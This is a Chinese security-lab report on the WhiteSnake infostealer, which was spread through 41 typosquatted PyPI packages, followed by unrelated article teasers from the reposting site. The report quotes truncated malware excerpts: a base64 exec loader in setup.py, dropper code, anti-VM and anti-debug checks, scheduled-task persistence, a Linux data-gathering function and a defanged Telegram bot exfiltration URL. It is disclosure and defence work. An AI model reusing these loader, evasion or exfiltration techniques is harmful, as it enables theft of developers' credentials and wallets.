小心白蛇!PyPI仓库被持续投放White Snake后门组件

news2024/9/23 13:18:35

背景

墨菲安全实验室在持续监测开源软件仓库中的投毒行为,4 月 14 日起陆续发现至少 41 个包含白蛇(White Snake)后门的 Python 包被发布到 PyPI 仓库,目前相关的后门包仍在持续发布。

事件简述

白蛇 (WhiteSnake)是在今年 2 月份开始持续活跃、以信息窃取为目的的后门软件,其通过 telegram 等渠道进行售卖,按照不同订阅期限有不同定价。在近期更新的版本中还针对中文系统的适配进行了优化。

(订阅价格及版本更新说明)

我们监测发现,从 4 月 14 日开始在 PyPI 仓库中出现利用“白蛇”进行信息窃取的后门组件(testwhitesnake),这些包会根据不同操作系统分别执行恶意逻辑,针对 Windows 执行“白蛇”远控木马,针对 Linux 收集系统截屏、用户凭据、系统进程、IP 地址等敏感信息并发送到指定的 telegram 机器人。JForg、Checkmarx 等安全团队也对其进行了跟进分析。

当前投毒者仍在持续向 PyPI 仓库投放恶意 Python 包,墨菲安全发现至少有 41 个包含“白蛇”后门的 Python 包,这些包当前在 PyPI 仓库中已经被下线。

包名版本发布时间
BootcampSystem0.12023/05/09
sobit-ishlar0.12023/05/09
colorara0.12023/05/08
libida0.22023/05/08
lindze0.12023/05/07
cloudfix[0.0.0,2]2023/05/01
cloud-client1.342023/05/01
libide0.12023/05/01
libidreq0.12023/05/01
Networkfix[1,2]2023/05/01
Networkdriver12023/05/01
NetworkPackage12023/05/01
tiktok-phone-cheker2.422023/04/28
tg-bulk-sender2.32023/04/28
setnetwork0.32023/04/28
social-scrapper3.62023/04/25
quick-telegram-sender0.72023/04/25
pandarequest0.12023/04/23
libidrequest0.42023/04/23
panderequests0.12023/04/22
pandirequests0.12023/04/22
parser-scrapper7.22023/04/22
qsteemp0.52023/04/22
detection-telegram5.62023/04/21
scrappers-dev4.12023/04/21
aietelegram0.32023/04/21
aeivasta0.32023/04/20
scrappers3.52023/04/20
social-checker7.22023/04/19
support-hub0.82023/04/18
support-dev7.82023/04/17
androidspyeye2.52023/04/17
tiktokthon0.12023/04/17
test-232342310.12023/04/14
test234142342340.62023/04/14
test242340.12023/04/14
testwhitesnakemodule0.12023/04/14
testwhitesnake123a0.12023/04/14
testwhitesnake0.12023/04/14
aeodata0.42023/04/14
aeodatav040.42023/04/14

恶意样本分析

在包名的选择上,一部分包名可能与仓库中已有包相近(如 aietelegram 和 aiotelegram、scrappers 和 scrapers),从而容易使开发者混淆。

在具体内容上,投毒者将恶意代码 base64 编码后放置在 setup.py 文件中,从而在通过 pip 安装时加载。其针对 Windows 与 Linux 等其他操作系统设置了不同的后门逻辑。

# You got me :D 
from os import name
from sys import argv
from base64 import b64decode
if 'sdist' not in argv:
    if name == 'nt':
        exec(b64decode('CmltcG9ydCBvcyBhcyBvCmltcG9yd……'))
    else:
        exec(b64decode('Vz0ndXRmLTgnClY9J0dFVCcKVT0nbGludXgnCl……'))

针对 Windows 系统

针对 Windows 系统将写入并执行一个“白蛇”可执行文件:

p=o.path.join(t.gettempdir(),'i7ec20e412b411c01546c9692.exe')
if not o.path.exists(p):
    with open(p, 'wb') as f:
        # 写入恶意软件
        f.write(b'MZ\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xff\xff\x00\x00\……')
    o.startfile(p)

“白蛇”使用 C# 编写,对函数名、变量名等进行编码混淆防止静态检测:

“白蛇”反编译截图

通过解码后的源码可以发现其通过判断常见的虚拟机和调试器对抗动态调试分析。

//绕过指定虚拟机检测:
List list = new List
{
    "virtual","vmbox","vmware","virtualbox","box","thinapp",
    "VMXh","innotek gmbh","tpvcgateway","tpautoconnsvc","vbox","kvm","red hat"
};
……
using (ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("root\CIMV2", "SELECT * FROM Win32_ComputerSystem"))
  {
    foreach (ManagementObject managementObject in managementObjectSearcher.Get())
    {
      managementObject.Get();
      foreach (string str in strArray)
      {
        if (managementObject["Manufacturer"].ToString().ToLower().Contains(str)
        || managementObject["Model"].ToString().ToLower().Contains(str))
        {
          flag = true;
          break;
        }
……        
//绕过调试器检测
if (VMPresent ||
    Debugger.IsAttached ||
    Debugger.IsLogging() ||
    ProtectionUtils.GetModuleHandle("SbieDll.dll") != IntPtr.Zero ||
    ProtectionUtils.GetModuleHandle("HTTPDebuggerBrowser.dll") != IntPtr.Zero ||
    ProtectionUtils.GetModuleHandle("FiddlerCore4.dll") != IntPtr.Zero ||
    ProtectionUtils.GetModuleHandle("RestSharp.dll") != IntPtr.Zero ||
    ProtectionUtils.GetModuleHandle("Titanium.Web.Proxy.dll") != IntPtr.Zero)
{
    Console.WriteLine("F**k off!");
    Environment.Exit(5);
}

恶意软件会将其可执行文件复制到 %localappdata%\NET.Framework 目录,将文件访问权限设置为只读并且每间隔一分钟启动该可执行文件。

//自我复制和执行恶意文件
File.Copy(location, malware_path, true);
   new FileInfo(malware_path).IsReadOnly = true;
   StringBuilder stringBuilder = new StringBuilder();
   stringBuilder.Append("/C chcp 65001 && ");
   stringBuilder.Append("ping 127.0.0.1 && ");
   stringBuilder.AppendFormat("schtasks /create /tn "{0}" /sc MINUTE /tr "{1}" /rl {2} /f && ", Path.GetFileNameWithoutExtension(location), malware_path, is_admin ? "HIGHEST" : "LIMITED");
   stringBuilder.AppendFormat("DEL /F /S /Q /A "{0}" &&", location);
   stringBuilder.AppendFormat("START "" "{0}"", malware_path);
   using (Process.Start(new ProcessStartInfo
   {
       FileName = "cmd.exe",
       Arguments = stringBuilder.ToString(),
       WindowStyle = ProcessWindowStyle.Hidden,
       CreateNoWindow = true,
       UseShellExecute = true
   }))

成功运行后将获取系统中的屏幕截图、用户名、操作系统、处理器信息、进程列表或加密货币和金融服务的凭据等聚合成 XML 加密后发送到攻击者的 Telegram 机器人,如:

<?xml version="1.0" encoding="utf-16"?>
<Report xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
 <files>
   <file filename="Browsers\Chrome\Key" filedata="DymxpZd8QfxCcGpXMzXbMY50B" filesize="0" createdDate="0" modifiedDate="0" />
   <file filename="Browsers\Edge\Key" filedata="qtUBhhtDOzJPCe5rnJISrKHnU9w" filesize="0" createdDate="0" modifiedDate="0" />
 </files>
 <information>
   <information key="Screenshot" value="/9j/4AAQSkZJRgABAQEAYABgAAD/..."/>
   <information key="Username" value="user" />
    <information key="Compname" value="DESKTOP-PC" />
    <information key="OS" value="Microsoft Windows NT 6.2.9200.0" />
    <information key="Tag" value="tag" />
    <information key="IP" value="138.125.xxx.xxx" />
    <information key="Screen size" value="640x420" />
    <information key="CPU" value="Intel(R) Core(TM) CPU" />
    <information key="GPU" value="VMware SVGA 3D" />
    <information key="RAM" value="1GB" />
    <information key="Disk" value="5GB" />
    <information key="Manufacturer" value="VMware, Inc." />
    <information key="Model" value="VMware />
    <information key="Beacon" value="" />
    <information key="Execution timestamp" value="1681234567" />
    <information key="LoadedAssemblies" value="ntdll;KERNEL32;KERNELBASE;ADVAPI32;msvcrt;..." />
    <information key="RunningProcesses" value="msedge;ApplicationFrameHost;svchost;svchost;svchost;SearchApp;svchost;SearchFilterHost;msedge;svchost;msedge;msedge;..." />
 </information>
 </information>
</Report>

为了使溯源更加困难,恶意软件通过配置 torrc 文件与恶意 C2 服务器建立连接,攻击者可远程执行任意系统命令,如:卸载软件、截屏、上传/下载文件等。

//torrc 文件
SOCKSPort torPort + 1
# The port on which Tor will listen for local connections from Tor controller applications
ControlPort torPort + 2
DataDirectory
# HiddenServicePort x y:z says to redirect requests on port x to the address y:z.
HiddenServiceDir
HiddenServicePort 80 127.0.0.1:torPort
HiddenServiceVersion 3

针对其他系统

恶意代码针对 Linux/MacOS 等其他系统主要为窃取系统敏感信息,包括:加密钱包(Exodus 、Electrum等)、主机信息(用户名、计算机名称、操作系统、IP 和 ISP 名称)以及浏览器和软件(如:火狐、Telegram、Mozilla Thunderbird 和 Filezilla)密钥等。

def gather_system_info():
    try:
        http = PoolManager()
        response = http.request('GET', 'http://ip-api.com/line?fields=query,isp')
    except HTTPError as e:
        print(e)
        ip, isp = '127.0.0.1', 'Unknown'
    else:
        ip, isp = response.data.decode(UTF).strip().split('\n')
        for blacklisted in ['google', 'mythic beasts']:
            if blacklisted in isp.lower():
                exit(5)

    try:
        screenshot_data = BytesIO()
        if HAS_PIL:
            screenshot = ImageGrab.grab()
            screenshot.save(screenshot_data, format='png')
        screenshot_encoded = b64encode(screenshot_data.getvalue()).decode(UTF)
    except Exception as e:
        print(e)
        screenshot_encoded = ''
        
    with open(path.join(temp_dir, 'system.json'), 'w') as f:
        dump({
            'Screenshot': screenshot_encoded,
            'Username': getuser(),
            'Compname': node(),
            'OS': platform(),
            'Tag': team_name,
            'IP': ip,
            'ISP': isp,
            'Execution timestamp': time()
        }, f)

收集敏感信息并加密后发送到攻击者的 Telegram api,如:hxxps://api.telegram``[``.``]``org/bot6209822134:AAEHrtHFcGSwPxreBCCquU4vzJrpFtyg2kA/sendDocument?chat_id=-1001529292045&caption=Linux

风险防范

开发者可以通过以下手段进行防范:

  • 尽可能使用官方仓库

NPM、PyPI 等开源软件仓库的安全管理机制在逐渐增强,当前这些被投毒组件已经从 PyPI 仓库下线,但一些镜像站没有同步下线操作,开发者仍有可能安装受到影响。因此通过使用官方仓库能够有效缓解此类风险。

  • 信息甄别

投毒包大多基于已有的包进行修改,通过相近的名称、描述等信息混淆开发者的判断。开发者可以通过仔细甄别包名、开发者、介绍文档等信息,避免混淆使用恶意软件包。

  • 签名验证

针对直接下载包的场景,在 PyPI、Maven 等大多数开源软件仓库中都提供了文件哈希、签名信息,NPM 也在推进 sigstore 方案的集成,开发者可以通过签名校验开源软件包的真实性和完整性。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/510730.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

三种方法教你让模糊照片秒变高清图

现在随着数字相机和智能手机的普及&#xff0c;我们拍摄的照片数量越来越多&#xff0c;但是有些照片可能因为环境或技术等原因导致模糊不清&#xff0c;这时候我们就需要使用一些软件或工具来让照片变得清晰&#xff0c;以满足我们的需求。 下面介绍三种常用的照片变清晰的方…

专科生学习云计算的就业前景如何?

作为专科学历学习云计算&#xff0c;就业前景肯定是有的。因为目前开设云计算这门专业主要也是专科院校&#xff0c;目前入行的学历要求也是专科为起点&#xff0c;更加侧重技术技能水平&#xff0c;技术过关了才能找到合适的工作。 云计算作为一种新兴的IT技术方向&#xff0…

AI别来搅局,chatGPT的世界不懂低代码

ChatGPT单月访问量再创新高 根据SimilarWeb统计&#xff0c;ChatGPT上月全球访问量17.6亿次&#xff0c;已超越必应、鸭鸭走DuckDuckGo等其他国际搜索引擎&#xff0c;并达到谷歌的2%&#xff0c;百度的60%。 这会&#xff0c;程序员失业的段子又得再来一遍了&#xff1a; 拖…

Qt+WebRTC学习笔记(七)ubuntu22.04下搭建coturn(STUN/TURN)

前言 因工作原因&#xff0c;很长时间没更新相关文档了&#xff0c;笔者之前测试时&#xff0c;一直使用示例自带的公网中转服务器。考虑到后期项目需要&#xff0c;笔者在线搭建一个coturn服务器测试&#xff0c;供有需要的小伙伴使用 一、安装coturn 若需要最新版本的cotu…

Linux修改文件权限

目录 1、常用操作 2、文件属性 3、chmod命令详解 1.修改文件属主,也可以修改文件属组 2.修改文件权限 4.chgrp命令详解 1、常用操作 查看权限操作命令:# ls -l 在 Linux 中我们通常使用以下两个命令来修改文件或目录的所属用户与权限&#xff1a; chown (change ownerp)…

[python] Python类型提示指北

Python3.5 版本引入了类型提示&#xff08;Type Hints&#xff09;&#xff0c;它允许开发者在代码中显式地声明变量、函数、方法等的类型信息。这种类型声明不会影响 Python 解释器的运行&#xff0c;但可以让 IDE 和静态分析工具更好地理解代码&#xff0c;同时提高代码的可读…

《Netty》从零开始学netty源码(五十六)之MessageSizeEstimator

MessageSizeEstimator 在channel的配置类中有一个属性msgSizeEstimator&#xff0c;它的功能就是用来预估消息的大小&#xff0c;它的赋值过程如下&#xff1a; 接口MessageSizeEstimator只有一个方法newHandle()&#xff0c;它返回的接口handle是MessageSizeEstimator的内部类…

SpringBoot基础篇1(搭建环境+基础配置)

一、SpingBoot入门案例 SpringBoot是用来简化Spring应用的初始搭建以及开发过程。 先快速搭建一个SpringBoot&#xff1a; 创建一个空project&#xff0c;再创建SpringBoot模块。 点击Create&#xff0c;出现以下页面配置成功 创建一个控制器测试一下&#xff1a; RestCo…

Centos8搭建SMB服务

这里以Centos8为例&#xff0c;搭建简易的SMB服务。虚拟机配置&#xff1a;内存8G、存储64G、CPU单核四线程、网络NAT模式跳过虚拟机与系统配置部分&#xff0c;不清楚虚拟机配置以及创建的请查阅其他文档此文章只用于练习用&#xff0c;商业和个人用可以见解Truenas系统 更新…

改进YOLOv5 | C3模块改动篇 | 轻量化设计 |骨干引入高效卷积运算 DSConv: Efficient Convolution Operator

论文地址:https://arxiv.org/pdf/1901.01928v1.pdf 引入了一种卷积层的变体,称为DSConv(分布偏移卷积),其可以容易地替换进标准神经网络体系结构并且实现较低的存储器使用和较高的计算速度。 DSConv将传统的卷积内核分解为两个组件:可变量化内核(VQK)和分布偏移。 通过…

C 高级 /Day 2

#include<stdio.h> int Max_arr(int (*arr)[5],int row,int hang) {int max0;//最大值int k1;//循环行for(int i0;i<hang;i){int k1;//循环列for(int j0;j<row;j){//控制行和列for(int m0;m<hang;m){for(int n0;n<row;n){//如果是第m行的其他的元素&#xf…

MySQL原理(一):逻辑存储结构

前言 从本文开始&#xff0c;我将分享一下近期学习 MySQL 的笔记&#xff0c;其中大部分来源于极客时间的《MySQL实战45讲》、小林coding、以及部分其他博客和书籍。 这次系列文章着重讲 MySQL 的原理部分&#xff0c;主要是用于面试&#xff0c;也就是我们常说的八股&#x…

华为OD机试 - 有效的括号(Java)

一、题目描述 给定一个只包括 ‘(’&#xff0c;‘)’&#xff0c;‘{’&#xff0c;‘}’&#xff0c;‘[’&#xff0c;‘]’ 的字符串 s &#xff0c;判断字符串是否有效。 有效字符串需满足&#xff1a; 左括号必须用相同类型的右括号闭合。左括号必须以正确的顺序闭合。…

力扣习题+——单链表

宝子&#xff0c;你不点个赞吗&#xff1f;不评个论吗&#xff1f;不收个藏吗&#xff1f; 最后的最后&#xff0c;关注我&#xff0c;关注我&#xff0c;关注我&#xff0c;你会看到更多有趣的博客哦&#xff01;&#xff01;&#xff01; 喵喵喵&#xff0c;你对我真的很重要…

Redis 学习笔记

一、redis中的常见数据结构 Redis共有5种常见数据结构&#xff0c;分别字符串&#xff08;STRING)、列表&#xff08;LIST&#xff09;、集合&#xff08;SET)、散列&#xff08;HASH&#xff09;、有序集合&#xff08;ZSET)。 二、redis中字符串(String)介绍 String 类型是…

[ 云计算 华为云 ] 华为云开天 aPaaS:构建高效的企业数字化平台(上)

文章目录 前言一、 什么是 aPaaS1.1 初识 aPaaS 二、华为云开天 aPaaS2.1 华为云服务类型与种类2.1.1 基础 aPaaS2.1.2 行业 aPaaS&#xff08;一&#xff09;工业 aPaaS&#xff08;二&#xff09;政务 aPaaS&#xff08;三&#xff09;电力 aPaaS&#xff08;四&#xff09;矿…

“深圳十大金口碑人物”优必选科技创始人兼CEO周剑获此殊荣

深圳晚报社联合深圳市诚商信用评级有限公司、深圳市诚信营商促进会和中国善网&#xff0c;共同举办了首届“金口碑”评选活动。活动涵盖多个领域&#xff0c;历经多个环节的评定和实地走访&#xff0c;最终有10名个人、20家企业和70家商户成功获得“金口碑人物”、“金口碑企业…

苹果13白屏无法正常开机怎么办?可以尝试这2种解决方法!

iPhone13莫名重启卡在白苹果&#xff0c;iPhone13开机却一直卡在开机画面&#xff0c;无法正常开机启动。 iPhone13出现以上问题&#xff0c;虽然都是处于苹果logo的状态&#xff0c;都可称为白苹果。 苹果13出现白屏、黑屏、白苹果等故障时&#xff0c;我们该怎么进行强制重启…

网络基础知识2—网络

文章目录 1.IP地址1.1概念1.2作用1.3组成1.4格式1.5举例1.6分类1.7特殊的IP 2.子网掩码2.1作用2.2是否是同一网段 3.Mac地址4.网络数据传输—一跳一跳的过程4.1网络节点4.2IP地址和Mac地址的区别 5.网络硬件设备及技术5.1集线器5.2交换机5.3主机5.4ARP缓存表&#xff1a;主机和…

玩机搞机----rom中build.prop文件的修改 优化 删除 开启等等

对于安卓机型系统中的build.prop文件是必不可少的&#xff0c;网络也很多这类的优化教程。但大多都是老机型的解释&#xff0c;今天这个帖子针对一些新版机型build.prop文件的一些操作实例来分析下。友情提示&#xff0c;修改这个文件有风险。严重会进不去系统。而且机型不同。…